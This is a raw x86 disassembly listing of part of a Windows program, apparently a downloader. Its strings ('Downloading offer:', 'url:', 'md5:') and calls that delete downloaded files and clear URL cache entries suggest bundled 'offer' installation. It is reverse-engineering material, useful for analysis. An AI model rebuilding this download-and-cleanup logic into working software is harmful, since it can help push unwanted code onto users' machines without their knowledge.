mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4174e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4174c0
xor eax, eax
jmp 0x4174eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x41750a
lea ecx, [ebp - 0x64]
call fcn.00404e00
mov ecx, eax
call fcn.00404e80
mov edx, dword [eax]
cmp dword [edx - 0xc], 0
jle 0x41750a
mov byte [ebp - 0x45], 1
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41752d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x13
mov eax, dword [ebp - 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417550
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x78]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417570
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x60]
mov eax, dword [esi]
mov edx, dword [ebp - 0x88]
inc ecx
mov dword [ebp - 0x60], ecx
cmp ecx, dword [eax + edx + 0x5c8cc]
jl 0x416da2
mov edi, esi
cmp byte [ebp - 0x4d], 1
jne 0x417955
cmp byte [ebp - 0x45], 0
jne 0x417955
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4175bc
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x54], eax
mov ecx, 0x5b0bc8
mov byte [ebp - 4], 0x26
test ecx, 0xffff0000
jne 0x4175f7
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x417606
push esi
push eax
lea ecx, [ebp - 0x54]
call fcn.00401f90
jmp 0x417606
push 0
push 0x5b0bc8
lea ecx, [ebp - 0x54]
call fcn.004021b0
mov byte [ebp - 4], 0x27
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x417624
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x58], eax
mov ecx, 0x5b0f34
mov byte [ebp - 4], 0x28
test ecx, 0xffff0000
jne 0x41765f
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x41766e
push esi
push eax
lea ecx, [ebp - 0x58]
call fcn.00401f90
jmp 0x41766e
push 1
push 0x5b0f34
lea ecx, [ebp - 0x58]
call fcn.004021b0
mov bl, 0x29
mov byte [ebp - 4], bl
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41768d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x64], eax
mov ecx, 0x5b1a04
mov byte [ebp - 4], 0x2a
test ecx, 0xffff0000
jne 0x4176c8
mov edx, ecx
movzx esi, dx
push esi
call fcn.00464815
test eax, eax
je 0x4176d7
push esi
push eax
lea ecx, [ebp - 0x64]
call fcn.00401f90
jmp 0x4176d7
push 3
push 0x5b1a04
lea ecx, [ebp - 0x64]
call fcn.004021b0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x84]
push edx
mov byte [ebp - 4], 0x2b
mov ecx, dword [edi]
lea eax, [ebp - 0x64]
push eax
add ecx, 0x16c
push ecx
lea edx, [ebp - 0x9c]
push edx
mov ecx, 0xa
call fcn.004392c0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41772a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41774d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417770
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417793
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4177b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xb4]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4177dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0xe0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417802
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0xdc]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417825
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417848
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41786e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0xd8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417894
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4178ba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xc0]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4178dd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xf8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417903
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0xfc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417925
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41794e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, 1
jmp 0x419810
mov ecx, dword [edi]
mov edx, dword [ecx + 0x264]
mov eax, dword [edx - 0xc]
test eax, eax
jle 0x4179f2
push 0x5b1a0c
lea ecx, [ebp - 0x98]
call fcn.00401d90
push eax
mov byte [ebp - 4], 0x2c
mov eax, dword [edi]
add eax, 0x264
push eax
lea ecx, [ebp - 0xa8]
push ecx
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x2d
mov ecx, dword [edi]
add ecx, 0x264
push eax
call fcn.004050b0
mov byte [ebp - 4], 0x2c
mov eax, dword [ebp - 0xa8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4179cc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4179f2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [edi]
lea ecx, [ebp - 0x84]
push ecx
add edx, 0x264
push edx
lea eax, [ebp - 0xa8]
push eax
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x2e
mov ecx, dword [edi]
add ecx, 0x264
push eax
call fcn.004050b0
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417a49
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b1a10
lea ecx, [ebp - 0xa4]
call fcn.00401d90
mov esi, eax
push str.____Downloading_offer:
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x2f
call fcn.00401d90
lea ecx, [ebp - 0xd8]
push ecx
push eax
lea edx, [ebp - 0xb0]
push edx
mov byte [ebp - 4], 0x30
call fcn.0041bac0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x98]
push eax
mov byte [ebp - 4], 0x31
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0xc4]
push ecx
push eax
lea edx, [ebp - 0xa8]
mov bl, 0x32
push edx
mov byte [ebp - 4], bl
call fcn.0041bac0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0x33
call fcn.00434f10
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417aeb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x31
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417b11
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x30
mov eax, dword [ebp - 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417b37
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417b5d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417b83
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [edi]
mov ecx, dword [ebp - 0x88]
cmp dword [eax + ecx + 0x5c974], 0
jle 0x417b9c
mov byte [eax + 0x213], 1
mov eax, dword [edi]
lea edx, [eax + ecx + 0x5bae0]
push edx
lea edx, [eax + ecx + 0x5bb24]
push edx
lea edx, [eax + ecx + 0x5bafc]
lea ecx, [eax + ecx + 0x5bae8]
push edx
push ecx
lea ecx, [eax + 0x218]
call fcn.0044d720
push 0x5b11f4
lea ecx, [ebp - 0xa8]
call fcn.00401d90
push eax
mov byte [ebp - 4], 0x34
mov edx, dword [edi + 0xc]
mov eax, dword [edi + 8]
push edx
push eax
lea ecx, [ebp - 0x120]
push ecx
call fcn.004220b0
mov byte [ebp - 4], 0x36
mov eax, dword [ebp - 0xa8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x417c18
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor bl, bl
push 0x5b0bc8
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0x45], bl
mov dword [ebp - 0x64], 0
call fcn.00401d90
mov byte [ebp - 4], 0x37
jmp 0x417c43
mov bl, byte [ebp - 0x45]
cmp dword [ebp - 0x64], 5
jge 0x418131
test bl, bl
jne 0x417c6e
lea ecx, [ebp - 0xc4]
push ecx
lea esi, [ebp - 0xe4]
lea ecx, [ebp - 0x80]
call fcn.00427fc0
test al, al
je 0x417c6e
mov byte [ebp - 0x45], 1
mov edx, dword [ebp - 0x4c]
mov eax, dword [edx]
mov ebx, dword [ebp - 0x88]
lea eax, [eax + ebx + 0x5bb04]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00405320
lea esi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x54], esi
push 0x5b0bc8
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x38
call fcn.00401d90
lea ecx, [ebp - 0x80]
push ecx
lea edi, [ebp - 0x58]
mov byte [ebp - 4], 0x39
call fcn.00428780
cmp dword [esi - 0xc], 0
mov ecx, dword [ebp - 0x58]
jle 0x417cfb
cmp dword [ecx - 0xc], 0
jle 0x417cfb
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x417cec
test dx, dx
je 0x417ce8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x417cec
add eax, 4
add ecx, 4
test dx, dx
jne 0x417cc6
xor eax, eax
jmp 0x417cf1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x417cfb
mov byte [ebp - 0x45], 0
jmp 0x417d05
cmp byte [ebp - 0x45], 0
jne 0x4180df
push 0x5b0bc8
lea ecx, [ebp - 0x78]
call fcn.00401d90
lea esi, [ebp - 0x78]
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x3a
call fcn.004271b0
push 0x5b0bc8
lea ecx, [ebp - 0x60]
call fcn.00401d90
lea edx, [ebp - 0x80]
push edx
lea edi, [ebp - 0x60]
mov byte [ebp - 4], 0x3b
call fcn.00428780
push str._url:
lea ecx, [ebp - 0x8c]
call fcn.00401d90
push eax
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x3c
mov ecx, dword [eax]
lea edx, [ecx + ebx + 0x5bae8]
push edx
lea eax, [ebp - 0x94]
push eax
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0xc4]
push ecx
push eax
lea edx, [ebp - 0x90]
push edx
mov byte [ebp - 4], 0x3d
call fcn.0041bac0
add esp, 0xc
push str._file:
push eax
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 0x3e
call fcn.0041bb80
add esp, 0xc
lea ecx, [ebp - 0x80]
push ecx
push eax
lea edx, [ebp - 0xcc]
push edx
mov byte [ebp - 4], 0x3f
call fcn.0041bac0
add esp, 0xc
push str._message:
push eax
lea eax, [ebp - 0xb8]
push eax
mov byte [ebp - 4], 0x40
call fcn.0041bb80
add esp, 0xc
lea ecx, [ebp - 0xe4]
push ecx
push eax
lea edx, [ebp - 0xa4]
push edx
mov byte [ebp - 4], 0x41
call fcn.0041bac0
add esp, 0xc
push str._fileinfo:
push eax
lea eax, [ebp - 0xac]
push eax
mov byte [ebp - 4], 0x42
call fcn.0041bb80
add esp, 0xc
mov ecx, esi
push ecx
push eax
lea edx, [ebp - 0xb0]
push edx
mov byte [ebp - 4], 0x43
call fcn.0041bac0
add esp, 0xc
push str._md5:
push eax
lea eax, [ebp - 0x98]
push eax
mov byte [ebp - 4], 0x44
call fcn.0041bb80
add esp, 0xc
mov ecx, edi
push ecx
push eax
lea edx, [ebp - 0x5c]
push edx
mov byte [ebp - 4], 0x45
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x47
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417e72
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x48
mov eax, dword [ebp - 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417e98
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x49
mov eax, dword [ebp - 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417ebe
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4a
mov eax, dword [ebp - 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417ee4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4b
mov eax, dword [ebp - 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417f0a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4c
mov eax, dword [ebp - 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417f30
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4d
mov eax, dword [ebp - 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417f56
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4e
mov eax, dword [ebp - 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417f7c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x4f
mov eax, dword [ebp - 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417fa2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x50
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x417fc8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0x74]
call fcn.00401d90
mov esi, eax
push 0x5b1ab0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x51
call fcn.00401d90
push esi
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x84]
push edx
push eax
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x52
mov ecx, dword [eax]
add ecx, 0x16c
push ecx
lea edx, [ebp - 0x9c]
push edx
mov ecx, 1
call fcn.004392c0
mov byte [ebp - 4], 0x51
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418039
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x50
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41805c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xc4]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418096
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x3a
mov eax, dword [ebp - 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4180b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x39
mov eax, dword [ebp - 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4180dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [ebp - 0x54]
inc dword [ebp - 0x64]
mov byte [ebp - 4], 0x38
mov eax, dword [ebp - 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418105
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [esi - 0x10]
mov byte [ebp - 4], 0x37
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418125
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp - 0x45], 0
je 0x417c40
jmp 0x418139
test bl, bl
je 0x419481
push 0x5b1ab8
lea ecx, [ebp - 0x90]
call fcn.00401d90
mov esi, eax
push 0x5b1ac0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x53
call fcn.00401d90
lea ecx, [ebp - 0x80]
push ecx
push eax
lea edx, [ebp - 0x8c]
push edx
mov byte [ebp - 4], 0x54
call fcn.0041bac0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x7c]
push eax
mov byte [ebp - 4], 0x55
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x6c]
push ecx
push eax
lea edx, [ebp - 0x74]
mov bl, 0x56
push edx
mov byte [ebp - 4], bl
call fcn.0041bac0
add esp, 0xc
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x57
call fcn.004050b0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4181ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x55
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4181f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418217
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x53
mov eax, dword [ebp - 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41823d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418263
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp - 0x4d], 0
jne 0x418287
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ecx]
lea edx, [ebp - 0x84]
push edx
lea ecx, [eax + 0x170]
push ecx
add eax, 0x294
push eax
call fcn.00436f90
lea ecx, [ebp - 0xa0]
call fcn.00404e00
mov ecx, eax
call fcn.00404e80
mov edx, dword [eax]
mov eax, dword [edx - 0xc]
test eax, eax
jle 0x4185c0
push 0x5b1ab8
lea ecx, [ebp - 0x90]
call fcn.00401d90
mov esi, eax
push 0x5b1ac0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x58
call fcn.00401d90
lea ecx, [ebp - 0x80]
push ecx
push eax
lea edx, [ebp - 0x8c]
push edx
mov byte [ebp - 4], 0x59
call fcn.0041bac0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x7c]
push eax
mov byte [ebp - 4], 0x5a
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
push eax
lea edx, [ebp - 0x74]
mov bl, 0x5b
push edx
mov byte [ebp - 4], bl
call fcn.0041bac0
add esp, 0xc
push eax
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x5c
call fcn.004050b0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418341
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x5a
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418364
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x59
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41838a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x58
mov eax, dword [ebp - 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4183b0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4183d6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0x60]
call fcn.00401d90
lea ecx, [ebp - 0xbc]
push ecx
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x5d
call fcn.0043c280
test al, al
